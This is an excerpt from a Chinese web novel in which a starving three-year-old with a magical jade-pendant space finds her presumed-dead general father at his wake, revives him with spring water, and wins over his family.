《团宠小福星,带着空间去古代救爹》
第一章 爹还活着
夜深人静,顾府邸门外上挂着白灯笼,贴着白纸对联,正堂里摆着口棺木。
乖宝趁没人从灵堂下的桌子钻了出来,穿着一身破破烂烂的衣裳,干瘦的小脸发黄,不断用小手揉着肚子。
“乖宝不是故意要偷你东西吃的。”
“你不要怪乖宝好不好,乖宝太饿了,保证不多吃,就一块。”她合着一双脏兮兮的小手,朝着棺木的方向虔诚地拜了拜,小声嘀咕。
而后她跪在地上有模有样地磕了三个响头。
她记得电视机里面的人都是这么做的,统统说对待**要有礼貌。
乖宝起身走到桌子边,踮起脚尖,吃力的伸手够盘子,从里面摸了一块糕点。
她跟个小耗子一样,快速咬了一口糕点,小嘴极速咀嚼着。
门外传来一阵脚步声,乖宝情急之下,在棺木侧边蹲下。
外头的人并未进来,只传来说话声:
“这镇北侯府老的老,残的残,病的病,现在连唯一康健的少将军也战**。”
“哎,可惜侯府满门忠烈,最终落得个**的下场。”
乖宝一双黑溜溜的眼睛转了转,她们说的是这个棺材里面的人吗?
她吃了将军的糕点,将军就是她的恩人。
统子说人要懂得知恩图报,她要把恩人的样子记下来,乖宝起身,踮起脚尖趴着棺木边缘,盯着里面的人看。
身高太矮,她几乎是悬在棺木边沿。
男人闭目,身穿银白盔甲,五官深邃俊朗,脸上有伤痕,皮肤暗沉,但不影响颜值。
【哇!大哥哥好帅。】
这么帅的大哥哥**好可惜。
乖宝余光扫到男人腰间戴的玉佩上,灰溜溜的眼睛瞬间亮了。
这块玉佩跟她身上的一模一样,只不过是一块黑色的玉。
“爹!”她就是毫不犹豫脱口而出。
完了,完了!
乖宝来晚了,爹爹死翘翘了。
她本来是现代孤儿院的孩子,差点被坏蛋抓走,一直陪着她的系统,给她送到了这儿。
统统说她妈妈是穿越女,在这个世界做任务出了意外,为了保护她,让统统给她送去了现代。
统统说以后陪不了她了,让她带着玉佩来找爹。
没想到她刚找到爹,爹没了。
乖宝天塌了,好不容易才找到的爹啊!
“爹爹,你肿么**。”乖宝眼眶蓄满泪水,无助的哭,说话时小奶音有些岔气。
这可是她亲爹。
是真的爹爹,不是梦里的假爹,她得摸摸。
乖宝吸溜着鼻涕泡泡,伸手去触碰男人的衣袖。
男人粗糙的手,突然抬了一下,乖宝以为自己眼睛看错了,使劲揉了揉眼眶,睁大了眼去看,又看到男人手指又动了一下。
她爹还活着!
乖宝激动的瞪大了小眼珠子,急切的叫道:“爹!爹,我是乖宝呀。”
“谁呀,跑灵堂里乱叫。”丫鬟听到走了进来,看到一个脏兮兮的小孩,在顾将军的灵柩前哭着叫唤。
“小乞丐,你怎么混进来的,赶紧给我出去,这儿不是你该待的地方。”
这要是让夫人跟其他主子们撞见,她不仅要挨骂,还得受罚。
“姐姐,姐姐,我爹还活着,你快救救我爹爹。”乖宝如获救星,赶紧开口道。
“什么人都敢乱认,这可是将军府,惊扰了将军安眠,府上的主子们,可饶不了你,赶紧滚出去。”丫鬟拽着她往门外走,余光扫了一眼棺木里安静躺着的人,心里有些发怵。
“呜呜呜……姐姐,我真的没说谎,我爹真的活着。”乖宝哭的上气不接下气,拼命抓着丫鬟的手,试图拽着她去确认,但她力气太小,只能被硬生生拽出去。
乖宝腿脚不稳跟不上她的速度,被她拽得摔倒在门口的台阶上,小身板沿着台阶滚了下去,“砰”得一声巨响,额头重重磕在青石地板上。
额头瞬间肿起了个青紫色的大包,还有一个指甲盖大小的血印子。
疼!
好疼……
她疼得脑袋发晕,一双圆溜溜地眼睛含着泪花,趴在地上起不来。
“你个死丫头,还挺会装。”
“不起来是吧?”丫鬟觉得她就是想要赖在顾家,故意
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装的。
她在花丛里,抄起一根枝条。
“啪!”枝条狠狠抽打在乖宝的身上,全身上下原本就没几两肉,每抽打一下都跟打在骨头上似的,钻心的疼。
乖宝疼得咬牙哭,蜷缩着自己的小身子:“姐姐,你别打了……”
“出不出去?”
“不……”她咬着牙忍痛,乌黑的小手紧攥成拳头。
要是出去了,爹可能就真的没了。
“住手!”
“谁给你们的胆子,跑将军灵堂前大吵大闹?”不远处一行人提着灯笼过来,为首坐木轮椅的妇**声呵斥道。
丫鬟闻言立刻松开乖宝,立刻俯下身行礼,“老夫人。”
“这孩子是外头偷跑进来的小乞丐,奴婢怕她惊扰了将军,这才赶她,结果她还不识趣,非赖着不走。”
顾夫人身着素衣,手里撵着一串佛珠,蹙眉道:“府里这么多人看着,连个孩子都守不住?”
“告诉管家,昨夜守灵的人全都遣散出府。”
丫鬟立刻跪下:“夫人,奴婢昨夜只是上个茅房的功夫,回来就看到这孩子,真不是有意偷懒,也不知这孩子到底怎么进来的。”
乖宝盯着顾夫人,姐姐这么怕这个阿婆,阿婆肯定是房子里的说话最有用的人。
统统说谁说话有用,谁就最厉害,要找这样的人帮忙才有用。
“阿婆,你救救我爹爹好不好?”乖宝顶着一张沾着污垢的脸,头上扎的两个小辫子也乱糟糟的,她用小手揉了一把被头发丝扎痒的额头。
一双水汪汪的大眼望着顾夫人,抽着气又道:“再不救,我爹爹就要真**。”
小小的乖宝,不明白死亡的含义,但她看过电视,知道死就是跟统统一样,永远不会再出现了。
天黑,这会儿凑近,照着灯笼,才看清楚这张小脸。
惨兮兮的小脸上干裂的发红,额头的伤更是有些狰狞。
顾夫人顿时起了怜悯心,“叫人多给她些银两救人。”
以为这孩子只是救父心切,才偷跑进将军府求助。
也罢,就当替将军府积福了。
第二章 乖宝的家
丫鬟道:“夫人,您别被这小乞丐骗了,她刚才还跑到灵堂里哭着喊着叫将军爹呢,奴婢给她钱还不要,非赖着不走。”
“那真的是我爹,不信你们看,我有跟我爹一样的东西。”
乖宝急切地将手伸进衣襟内,拿出一枚白色鱼形玉佩。
顾夫人身边的下人,正要接过她手里的玉佩。
乖宝警惕地收回手,捏紧玉佩,“这是乖宝的东西。”
统统说最重要的东西,是不可以给别人的。
“好孩子,我们只是看一眼,不会拿走它。”顾夫人温声道。
“那也不行,不过乖宝可以拿给你看,但你不能抢。”乖宝能感觉到对方的善意。
顾夫人点头,让下人把顾应决身上的玉佩拿过来。
心里燃起了些许期待,若这孩子真是决儿的,那决儿也算是后继有人了。
“外面冷,我们先进去。”顾夫人让下人给乖宝裹了件大人的外衣,带着她进了灵堂。
下人把从顾应决身上取下的玉佩递给顾夫人,两块玉色泽几乎一模一样,连雕刻的纹理都一样,只是颜色不同。
顾夫人颤抖着手,将两块玉佩连接处拼在一起,就是一枚完整的双鱼玉佩。
“你……你真的是我家决儿的孩子?”顾夫人颤抖着手,抚摸乖宝的脸,一双眼睛含起了泪光。
乖宝认真地点头:“嗯嗯,这个玉佩是我妈……我娘亲给的。”统统说过到了这儿,妈妈得叫娘亲。
“现在信了吧。”
顾夫人的确信了,这玉佩是儿子心上人给的,此事除了她,家中鲜少有人知道。
“乖宝多大了?”
乖宝伸出三根手指头,“三岁啦,乖宝还有一个月就四岁。”
顾夫人猜想孩子这么大了,决儿却从未跟她们提起过,想必是当初孩子娘跟决儿发生了什么误会,这才带着孩子离开决儿。
“可以救我爹了吗?我刚才真看到我爹动了。”
顾夫人以为乖宝太小了,根本不懂生离死别,这才说一些童言童语,并未在意。
“孩子,你娘呢,你怎么自己一个人在这儿。”
乖宝摇摇头。
顾夫人猜测孩子娘让乖宝一个人过来,怕是也发生了什么意外不在了。
“我说的是真的,我爹还活着。”
乖宝急了,连忙往灵柩那跑,扶着棺木道:“不信,你们自己看。”
顾夫人让人推着自己过去。
男子躺在棺木中,像是睡过去了一般,没有丝毫动静。
“怎么会这样,刚才乖宝明明看到爹动了。”乖宝失落道。
“你叫乖宝对吗?我是你的祖母。”
顾夫人眼里落下两行泪,望着她的后脑勺道:“日后你就是我顾府的小姐,你除了决儿,还有祖母还有其他亲人。”
她知道孩子一时很难接受,不过时间过得很快,会慢慢淡忘。
决儿就会像她们顾府死去的其他人一样,只活在大家的记忆中。
跟前的小家伙突然大声道:“动了!我爹又动了。”
顾夫人蹙眉,看来等决儿入土为安后,要好好给乖宝找个大夫看看。
“夫人,真的动了!”这会儿边上的下人也道。
顾夫人立刻侧头看去,只见躺着的男子,浓密的睫毛动了一下。
“快!快叫大夫过来。”一向在外人面前保持世家夫人气度的顾夫人,此刻全然不顾仪态,脸色大变,伸手拍身边的下人。
下人急得跌跌撞撞,冲了出去。
顾夫人赶紧叫人把顾应决从棺中弄出来。
夜深露重,大夫被将军府的人从床榻上拽起来,衣裳都没来的及穿好,披头散发,迷迷瞪瞪,匆匆赶来。
心里感慨,是不是府里夫人被伤心过度发病了。
结果一看,人是**的顾将军,吓得人都清醒了。
他反复把脉,锁紧眉头,时不时看顾将军一眼,一时之间有些不太敢相信自己的医术。
他又起身去摆顾应决的眼睛,愣了片刻嘴里嘟囔。
“这……”
“奇啊,简直太奇了。”
“老朽,从未见过如此奇异之事,小将军还是老朽亲自确认已经断气,如今竟然有了一丝微妙的脉搏。”
“真的?太好了,那还请林大夫快救救我儿。
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”顾夫人急切道。
大夫一脸为难,“这……虽说将军现在有了一丝生机,但是气息微弱,老朽医术不才,只怕是救不了顾将军。”
“那你无论如何也要先将我儿的命保住。”顾夫人山中闪过一丝失望,不过很快又镇定下来。
只要人还活着,就有希望,日后无论付出什么样的代价,她也要想办法让儿子醒过来。
大夫叹了一口气,“这个在下没办法保证,只能开一副汤药,能不能吊着将军一口气,也只能看将军自己的造化。”
顾夫人点了点头,让人拿着方子去抓药。
“爹爹,你快醒来吧。”小团子靠到顾应决的床边上,想握住他的大掌,看到自己脏兮兮的小手又收了回来。
福利院的姨姨们说,只有干净的小孩才会被大家喜欢,乖宝希望爹爹喜欢自己。
“乖宝,让你爹爹好好休息,我们先去吃点东西。”顾夫人用手帕擦了擦眼角的泪,俯下身要去拉乖宝的手。
乖宝往后退了一步,眼巴巴望着顾夫人,点了点头。
顾夫人见孩子对自己有所防备,心里又酸涩又心疼,这孩子在外漂泊只怕是受了不少委屈。
西院内。
乖宝愣愣地盯着桌上十几碟菜,有些手足无措的叠交着小手,伸着脖子,忍不住的咽口水,却也没敢动。
“饿坏了吧,快吃吧。”顾夫人给乖宝夹了一个大鸡腿放碗里,温声道。
“乖宝真得能吃吗?”小团子反复确认地问道。
以前就有叔叔婶婶,骗她要带她去吃很多好吃的,统统说那些都是坏人,想抢她玉佩里面的东西。
“当然可以,乖宝这里是你的家,你想吃什么都行。”顾夫人见她小心翼翼的样子,心疼不已。
她让下人拿了水盆来,用温热的水弄湿面帕。
乖宝的头刚让大夫上了药,顾夫人小心翼翼替乖宝擦脸,擦手,生怕弄疼她的伤口。
脸上的污垢去掉,露出乖宝焦黄饥瘦,干裂发红的小脸,小手瘦巴巴还有好几道泛红发紫的印子。
一看就是新伤,八成是今日那个丫鬟打的。
第三章 玉佩的秘密
顾夫人眼眶微红,侧头示意了一眼身侧的嬷嬷,“那丫鬟按府里的规矩处置,直接发卖去偏远地。”
嬷嬷点头,那丫鬟真是狠这么小的孩子也下的去手,夫人对她已经算是仁慈了。
乖宝听不懂她们在说什么,一门心思全在桌上的饭菜那,小手抓着大鸡腿,大口大口啃,小嘴被塞满,一边咀嚼,一双黑圆的眼珠子盯了眼桌上其他菜,右手抓着筷子扒饭。
“慢点吃。”顾夫人示意了眼身侧的嬷嬷。
嬷嬷上前道:“小姐,奴婢喂您?”
乖宝摇头,含糊道:“自纸吃。”
“好孩子。”顾夫人盯着乖宝,心里软的一塌糊涂,多好的孩子。
要是决儿能醒来看看就好了。
“那你这一路是怎么过来的?又是怎么进的将军府。”顾夫人都不敢去想,这没娘的孩子,要怎么生活。
乖宝没说话,统统说过,玉佩的事情不可以告诉任何人,那是妈妈就给她最重要的东西。
玉佩里面有个很大的空间。
只要乖宝一闭上眼睛,就能看到玉佩里的世界,里面可以放很多东西,还有一条从山上流下来的小水潭,也有很多漂亮的瓶子和石头。
乖宝每次以为自己要饿**,但只要喝了里面的水,身体又不难受了,又有力气了。
她目光亮了亮,那是不是爹爹喝了也能醒来?
顾夫人见她一直不吭声,以为她想到了什么伤心的事,不想勉强孩子开口。
“乖宝不想说可以不说。”
跟前的小团子眨眨眼睛,玉佩的事不能说但别的可以:“乖宝从一个小洞洞里爬进来的。”
有坏人要抓她,她就跑进来了,没想到还找到了爹。
顾夫人目光一滞,一时没反应过来,边上的嬷嬷提醒她那时府里留的狗洞,心头一紧没再继续问下去。
“以后回家了,就不用受这些罪了。”她摸摸乖宝的小脑袋,哽咽着温声道。
用完膳,顾夫人把身边的嬷嬷,安排在小团子身边,让嬷嬷带乖宝下去洗漱休息。
第二日一大早,乖宝起床换上自己的新衣服,拽着嬷嬷的手,奶声奶气道:“嬷嬷,我们去找爹爹吧。”
“小姐,这也太早了,先洗漱再去吧。”嬷嬷拦住她,让人端了水盆过来,拧干面巾给乖宝擦脸,又拿了面脂给乖宝擦脸。
“嘿嘿,好香呀。”乖宝捧着自己瞬间变嫩的小脸,又闻了闻手心,带着一股淡淡的奶香。
“这个涂完爹爹会喜欢吗?”
她记得之前那个世界也有这种香香,在孤儿院里那些被接走的小孩就会涂。
“当然,不过小姐是将军的孩子,无论什么样将军都会喜欢。”
嬷嬷俯下身,抚正乖宝的衣领,仔细打量了一眼。
小姐换上干净的新衣服,梳着整齐的发饰,气色好了不少,这样一看脸上还是有点肉的。
再养一养,会更可爱。
到时谁看了不喜欢?
乖宝迫不及待拽着她去往外走,刚到顾应决门前,门从里面打开,飘出来一股很浓的药味。
“换了两罐药了,这才一点点灌进去小半碗,这么一直不吃不喝下去也不是个办法。”两名下人嘟囔着从里面出来,迎面对上乖宝跟嬷嬷,立刻闭上了嘴行礼。
乖宝松开嬷嬷的手,急切地小跑进去,抓住顾应决的大手,“爹爹,乖宝来了。”
爹爹肯定很难受吧。
乖宝仰头望着身侧的嬷嬷,轻声道:“嬷嬷,乖宝想自己跟爹爹说说话。”
嬷嬷明白这是小姐想跟少将军说悄悄话,不想让她听呢,转身走了出去。
乖宝见门关上,摸一摸腰间挂着的玉佩,想着自己要的东西。
手里就凭空出现个装满水的玉瓶。
她迈着小短腿走到床边上,踮起脚尖,伸手把玉瓶抵到了顾应决的嘴边。
小心翼翼将水送进顾应决嘴里,水又从他嘴里滑下。
乖宝急了,红着眼睛道:“爹爹,你喝一点好不好。”
她使劲的去揪顾应决的嘴,好不容易才送了些水进他嘴里。
房门从外面推开,顾夫人走了进来。
“乖宝,你这么早就来看爹爹?”
乖宝点着小脑袋,捏了捏手里的玉瓶,玉瓶里还剩下一半水。
顾夫人看乖宝手里的玉瓶,眉头微蹙,“乖宝,这是什么水,不能乱给你爹喝。”
乖宝一字一顿解释道:“不是的,祖母,这个水爹爹喝了
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会好。”
“乖宝乖,这个水太凉了,咱们不喝,喝了会闹肚子。”顾夫人伸手要拿她手里的杯子。
乖宝摇摇头,急忙收回手:“祖母,不能倒。”
“咳咳咳!”床上躺着人突然咳了起来。
“爹爹!”
“决儿。”
一老一小猛然看向床上的人,男人脸色惨白,睁开眼睛看着顾夫人跟乖宝。
顾夫人立刻吩咐下人去叫大夫,而后上前扶住了顾应决。
“决儿,你终于醒了。”
乖宝捧着水上前,小肉手把玉瓶递了过去,“爹爹。”
顾夫人盯了一眼她手里的玉瓶,心里又诧异又震惊,连忙伸手接过玉瓶递到了儿子嘴边。
顾应决把杯子里面的水喝光,这才看向床侧的小女孩,感觉她那张小脸有些眼熟。
“她是……”顾应决唇瓣微启。
顾夫人开口介绍:“应决这是你的女儿。”
顾应决神色一沉:“不可能!”
“我没有女儿。”
“爹爹,乖宝真的是你的女儿。”乖宝见他决绝的否认,眼泪跟断了线一样一直往下落。
顾夫人心疼地看着乖宝,忍不住责备儿子:“我看你是病糊涂了,连自己有没有女儿都不知道。”
顾应决捂着嘴猛咳了几声,他就算再糊涂,也不可能让自己喜当爹。
“爹爹,不记得这个了吗?”乖宝从自己口袋里,掏出了一块玉佩。
顾应决神色一沉,盯着乖宝手里的玉佩看了又看:“你怎么会有这块玉佩,柳玉烟是你什么人?”
“那是我娘亲。”乖宝红着眼睛道。
她记得统统说过,娘亲就是叫这个名字。
顾应决闻言死死盯着乖宝,冷声道:“那你娘呢。”
乖宝明显感觉到顾应决不喜欢自己,害怕地缩了缩脖子,摇摇头,含着泪哽咽道:“乖宝不知道。”
顾应决气得冷笑。
好啊!
柳玉烟当初死活不愿意跟他在一起。
现在跟别的男人生了孩子跑了,让孩子跑来认他做爹。
真是打的好算盘。
“娘亲……娘亲为了救乖宝,不见了。”
乖宝只能通过系统拼凑的信息,哆嗦着回应。
第四章 咱们家的小福星
顾应决心头一紧,不自觉皱起了眉头。
柳玉烟,那个女人狡猾,应该不会轻易死掉。
“你爹呢?”顾应决想到那个畜生,就咬牙切齿。
那个该死的!
不负责任的男人,就这么丢下她们母女,任由她们自生自灭了?
乖宝摇摇头,吸了吸鼻子:“不……不知道。”
她捏了捏手心,爹爹还是不愿意认乖宝。
顾夫人看不下去了,“你这么凶干嘛?乖宝才三岁,她这么小要知道爹在哪,还用的着找你吗?”
“我看你睡这么久,真是脑子糊涂了。”
“娘,我真的……”不是。
顾应决开口正要解释,房门被敲响:“夫人,大夫来了。”
“让他进来。”
门从外面推开,大夫提着药箱走进来,抬眸看到顾应决睁着眼睛躺在床上,猛地深吸了一口气。
方才找他的小厮说顾应决醒来了,他还有些不相信……
“将……将军?”
“过来。”顾应决捂着嘴咳了一下,脸色依旧惨白。
大夫立刻上前,给顾应决把脉,不置信地抬眸看了顾应决一眼,瞪大了双眼,“这这这……”
“老朽从未见过如此奇怪之事,将军脉搏逐渐有了生机,比昨日好了不少!”他激动地收回手,抬手作揖,脸上难掩的惊诧。
昨天少将军诈尸就已经是奇迹了,没想到今天又突然醒来了。
“不知少将军可吃过什么特别的东西。”
顾夫人余光盯了一眼乖宝,“我儿昨日昏迷不醒,药都吃不进。”
大夫闻言,心里捏了把汗,想了片刻,眼睛一亮。
“那定是老天爷不愿看少将军就此陨落,特意赐福!”
到底有没有用别的药谁知道呢,夫人有意隐瞒,他更不敢追问。
将军府可不是寻常人家,知道太多对他没好处。
顾夫人压低了声音:“此事还请,林大夫保密。”
她拢了拢衣袖里的空玉瓶,决儿醒来这事蹊跷,绝不能被其他人知道。
顾夫人示意了一眼身侧嬷嬷,嬷嬷上前塞了一锭银子。
大夫点头:“夫人放心,在下一定守口如瓶。”
顾夫人示意身边的人把大夫送出去,回头就看到,这样一幕。
乖宝小手揣在鼓起来的肚子上,软乎乎的小脸被厚厚的刘海遮住,悄咪咪偷看顾应决。
顾应决瞥了她一眼,侧头对向床内侧,一副眼不见心不烦的架势。
顾夫人笑了笑:“昨日要不是乖宝发现你还活着,你现在都下葬了。”
“你看乖宝一来,你就醒来了,可不就是我们家的小福星嘛。”
心说:如果不是乖宝,你这孩子根本就醒不过来!
不过这事,等她查清楚再告诉决儿真相吧。
顾应决闻言,并未搭话,侧头又盯了一眼床榻边的小崽子,那张小脸跟柳玉烟有七分像。
当然除了那双水汪汪的眼睛,八成是随的她那个畜生爹。
想想就来气!
乖宝不知道他怎么了,眼神有点凶,小手捏了捏贴着肚子上的衣服。
“乖宝,别怕,你爹他就是刚醒,一时还没办法接受你。”顾夫人摸了摸乖宝的小脑袋,轻柔地开口道。
“等过段时日就好了,乖宝先跟嬷嬷去用早膳好不好?”
乖宝乖巧地点头,奶声奶气道:“好。”
顾夫人示意了一眼身侧的嬷嬷,嬷嬷上前拉住乖宝的手,乖宝回头看了一眼顾应决,只见顾应决目光对上自己时,又快速收回去。
乖宝小嘴抿成一条直线,垂下小脑袋,跨过门槛跟嬷嬷出去了。
“决儿,娘以前就管教过你,做人不能没良心。”顾夫人冷声道。
“娘,那小崽子真不是儿子的。”
顾应决叹了一口气,那小崽子要真是他的种,他做梦都能笑醒。
“儿子还能骗您?”
他做了什么事自己还是清楚的。
顾夫人从顾应决眼里看到了一丝挫败感,长叹了一口气:
“但不管怎么说,她救了你,你忍心看她流落在外?”
“你知不知道这孩子为了找爹,经历了什么。”
顾夫人将见到乖宝时的场景说了出来。
“她那爹若真在意她,又怎会让她一直流落在外,对她不管不顾。”
“娘,您有话直说。”顾应决想到那张可怜兮兮的小脸,心里五味杂陈。
顾夫人指腹按住手里的佛珠:“认下她,日后将军府就是她的家。”
“你要
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是不愿意,为娘就让她记在你大哥名下。”
“大哥不是马上就要定亲了?”顾应决蹙眉。
他不想再给大哥添麻烦,这些年他在外征战,大哥身子弱打理将军府内外事务已经够累了。
顾夫人:“那就你四弟。”
“不过你四弟自己还是个孩子,他的性子又……”
“那就记在儿子名下。”顾应决沉默了一阵,才开口道。
心里告诉自己,那毕竟是柳玉烟的孩子,他不可能真的坐视不管。
何况那孩子,还救过他。
顾应决想到那张脸又道:“不过,希望母亲能让她离儿子远一些。”
“好。”
顾夫人知道,他这是介意乖宝的生父,心里膈应呢。
不过这事也不着急,乖宝那般招人喜欢,相处久了决儿一定会喜欢乖宝。
东院。
“嬷嬷,你说真的,爹愿意认我了?”乖宝刚用完早膳,听到这个消息,开心地从圆凳上滑下来。
“那是自然。”
“等过几天,夫人就会让人把您的名字记在族谱上。”
嬷嬷俯下身,替她擦了擦嘴角沾染的污渍,勾唇笑了笑。
小姐这么可爱,少将军怎么可能不认呢。
“嘿嘿,太好了,乖宝终于有爹了!”
乖宝对家的概念很模糊,认为只要有爹娘的地方,那就是自己的家。
“乖宝想去看看爹爹。”
她兴奋地拽着嬷嬷的衣角,要往外走。
嬷嬷想到夫人吩咐的话,轻声道:“小姐,少将军刚醒,让他好好歇息,奴才带您在府里逛逛好不好?”
少将军暂时还不想见小姐,小姐过去只怕会伤心。
“嗯嗯!”
乖宝咧嘴露出一排贝齿。
小花园里,乖宝踩在鹅卵石上,追逐着低飞的蝴蝶,小小的人儿,发出清脆的笑声。
蝴蝶飞到她小肩上,乖宝耸肩,动作牵引,软乎乎的小脸向下颤了下,蝴蝶又飞走了。
她摇着脑袋追逐,“嘿嘿”的傻乐。
“小福蝶别跑……”
“咳咳咳!”
游廊那边传来一阵咳嗽声。
乖宝停住脚步,抬眸往前看,一个身穿白衣的男人,病恹恹地抚着胸口,站在窗户边上。
第五章 给大伯的回礼,随便掏的石头
“大公子。”嬷嬷见状,立刻俯下身行礼。
顾应柏摆了摆手,又是一阵咳。
“这就是我三弟认下的孩子?”他望着地上那小人,小孩也正打量着他,一双圆溜溜地眼睛就跟琉璃珠一样灵动。
乖宝小眉头微蹙:“你三弟是我爹爹?”
“对。”
顾应柏勾了勾唇,“我是你大伯。”
“哦哦哦,大伯,我叫乖宝哦。”
乖宝甜甜地开口道。
顾应柏轻咳了一声,小家伙的声音都快把人心给叫化了,冲她招了招手:“乖宝,过来。”
方才乖宝在院子里玩,隔着老远他就听到动静了。
自从爹跟老二老五死后,将军府冷冷清清,已经很久没有这么有人气了。
“好。”乖宝愣愣开口。
她跨着小碎步,提着裙子上了台阶,又跨过门槛走进屋子里。
顾应柏俯下身,从衣袖里拿出一串琉璃珠,戴在了乖宝的小手上,“这个就当,我这个做大伯的,给你的见面礼。”
淡蓝色的琉璃珠,上面还有花纹,乖宝小手摸了摸珠串,小心脏扑通扑通跳,小脸微微泛红。
这是乖宝第一次收到礼物耶!
“谢谢大伯。”
电视里面收到礼物是要回给别人捏。
“那乖宝也要给大伯礼物。”
“不用了,乖宝。”
顾应柏见她小小一个,却跟个小大人似的,还知道回礼,抿唇笑了笑。
倒也没多在意。
顾应柏垂眸,只见小家伙背过小身子,小手伸进衣襟,神神秘秘不知道在捣鼓什么。
乖宝从衣襟里掏出了一块石头,递给顾应柏,摊开手,一块白玉呈现在她掌心。
白玉无瑕,泛着淡淡的幽光。
顾应柏怔愣了一下,不敢置信地眨了眨眼睛,说话的声音都在颤抖:
“这……这是和田羊脂白玉?”
不!
不可能。
这东西只有皇室专供,其他人更是少见,之前他父亲因立下大功,陛下赏赐过一小块。
甚至连这一半都没到。
顾应柏从乖宝手里拿过那玉石,仔细端详,脸色变得越发深沉,立刻将身侧的下人叫了出去。
乖宝咬了咬唇瓣,盯着脸色不断变化的顾应柏。
难道是大伯不喜欢乖宝的礼物?
那乖宝再拿一块别的给大伯吧。
顾应柏还没回过味来,就瞥见她又从衣襟里掏了掏,拿出了一块绿色的石头。
“这个也送给大伯。”
那玉绿的发黑,色泽更是精粹。
顾应柏脸瞬间一僵,瞪大了眼睛:“咳咳咳!”
“这这这……”
帝王绿翡翠!
顾应柏一激动,咳的脸都青了,抓了桌边的茶杯,抖着手往嘴边送。
“大伯还不喜欢吗?”
“是小石头还不够漂亮吗?”乖宝为难地望着顾应柏,要不然再找找,说不定能找到大伯喜欢的。
“不不不……”
顾应柏连忙放下茶杯开口。
小家伙根本不知道,她嘴里的小石头到底是什么宝贝。
真怕她又掏出什么顶级玉石出来,自己心脏受不了。
“乖宝,你告诉大伯这些东西都是从哪弄来的?”顾应柏说话有些急喘,脸还有些红,俯下身握住了乖宝的手。
乖宝天真地眨了眨眼睛,开口道:“捡的。”
这也不算撒谎吧,乖宝就是在玉佩里捡的。
“捡的?”顾应柏难以置信道。
他身体不好不能舞刀弄枪,擅长经商,倒是见过不少宝贝。
但像乖宝拿出来的这两件,世间少有。
捡的这怎么可能。
乖宝盯着他,认真道:“真哒。”
顾应柏一脸费解,顺着她的话问:“在哪捡的?”
这话一问。
小家伙立马不说话了,垂着小脑袋,一双眼睛四处转悠,双手捏了捏衣服,不知道在想什么。
“就……就外面。”乖宝结结巴巴道。
她又忘了统统说,不可以把玉佩里的东西随便给别人。
可是大伯也不是别的人,对乖宝还很好呢。
乖宝根本不知道,自己说谎的时候,那些下意识的小举动,全都尽数落入顾应柏眼中。
顾应柏摸了摸她的小脸,勾了勾唇。
看来小家伙并不愿意告诉他。
“大伯知道了。”
“但是这些东西,乖宝不可以随便拿出来知道吗?”
听他娘说,乖宝一直流浪在外,身上藏着这些东西,必定会遭人
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觊觎。
也不知道这孩子是怎么活到现在的。
又是怎么藏住这些东西的?
难不成,真有福运伴身。
顾应柏连忙打住自己的思绪,感觉越想下去越玄幻了。
“身上藏着这些不难受吗?”顾应柏摸了摸她的小脸。
“日后这些东西别放身上了,放屋子里,或者叫嬷嬷给你找个箱子放。”
小家伙就不嫌硌得慌?
罢了,一会儿让人把库房里放的檀木箱子,给孩子送过去。
乖宝心虚地垂着小脑袋,揉了下鼻子,轻“嗯”了一声。
她暗暗叹了一口气,小胸脯上下起伏。
哎呀,还好大伯没有继续问。
不然她都不知道怎么回啦。
差点都被发现喽。
“这些东西大伯让人给你放屋内收好,乖宝以后可以叫人打些首饰戴。”顾应柏开口道。
乖宝抓住他的手,“大伯,这是乖宝给你的东西。”
“你要是不要,乖宝就把这个还给你。”她正要把手里的琉璃珠取下。
被顾应决按住。
“好了好了,大伯知道了。”顾应决拿她没辙,气短道。
乖宝给的东西太贵重了,先帮她放库房收着。
日后等她长大成人,再叫母亲给她吧。
这小家伙,真倔,不愧是他们将军府的孩子。
性子像决儿!
顾应柏望着跟前小团子,回想起儿时的顾应决。
那就是将军府的小霸王,爬树掏鸟蛋,犯错了就撒泼打滚,虎得很。
每次闹腾都让他很头疼。
哪有软萌可爱的小侄女好。
他忍不住开口道:“乖宝,大伯能抱抱你吗?”
乖宝点头,害羞垂眸,直直站着不动。
顾应柏笑了笑,心知这孩子现在跟自己还不算熟,有些不好意思。
他俯下身把她搂在怀里,侧头捂着嘴,咳的停不下来,憋得通红,好不容易消停,急喘了几口气。
脸色越看越差劲,仿佛下一秒他就要晕过去。
“大伯。”乖宝蹙眉,双手拽着顾应柏肩上的布料,紧紧盯着他。
“没事。”顾应柏声音有些沙哑。
他捂着嘴的那只手绕到身后,掌心上面染着鲜红的血渍。
第六章 大伯吐血了
乖宝仰头望着顾应柏,吸了吸鼻,弥漫着一股淡淡的腥味。
她不安的问:“大伯,你怎么了?”
这样的味道很熟悉,但是乖宝想不起来了。
顾应柏单手抱着乖宝有些吃力,在一旁椅子上坐下。
拿过边上的手帕,背着乖宝擦了擦手心,丢进背后的木桶里。
木桶里已经有好几块带血的手帕了。
“别担心,大伯只是病了。”
顾应柏捏了捏她的小脸,眼里多了一丝怜爱。
小家伙太瘦了,抱着都没什么重量。
乖宝闻言,紧紧盯着顾应柏,明显感觉他说话吃力,一双眼睛带着担忧,捏了捏小手心。
“大伯很难受吗?”
她生病的时候就很不舒服,大伯肯定也很难受吧。
对了,乖宝可以给大伯喝水。
喝了水大伯就会舒服了,可是刚才大伯差点就发现乖宝的秘密了。
顾应柏发紫的唇瓣,微微上扬:“没事,大伯有吃药,很快就会好了。”
“好啦,乖宝出去玩吧,大伯还有事要做。”
“那好吧,大伯,乖宝下次再来找你玩哦。”
乖宝说完,又小心拉住顾应柏的大手,小肉手放他的掌心上,撅着小嘴,神神在在嘀咕道:“病病快走……”
她记得乖宝在孤儿院生病,姨姨们就是这样做的。
顾应柏看她闭着眼睛跟许愿一样,忍不住笑了笑。
常年在病痛折磨下,阴郁的心情,在此时莫名得到缓解。
身心也是从未有过的释然。
日头恰到好处地从窗户边上落了进来,金灿灿地光落在顾应柏和乖宝身上,顾应柏定定望着乖宝,眼里染上了一丝泪光。
挺好的。
即便日后没了他,有乖宝在,母亲跟决儿他们也不会太伤心。
乖宝睁开眼睛,怔怔地望着顾应柏:“大伯不哭。”
顾应柏含着笑,放下乖宝,“大伯没哭,就是沙子迷了眼睛。”
这孩子心思细腻又纯粹,有她是将军府的福。
“好吧。”
乖宝抓了抓脑袋,端详着顾应柏,明明她感觉大伯很伤心的样子。
顾应柏把外面的嬷嬷叫了进来。
乖宝拉着嬷嬷的手往外走,一边走,一边朝着顾应柏摆手道:“大伯,再见。”
“好……”顾应柏望着乖宝勾唇,捂着嘴咳了几声,远远看着乖宝的小身影消失在门前。
“咳咳咳!”
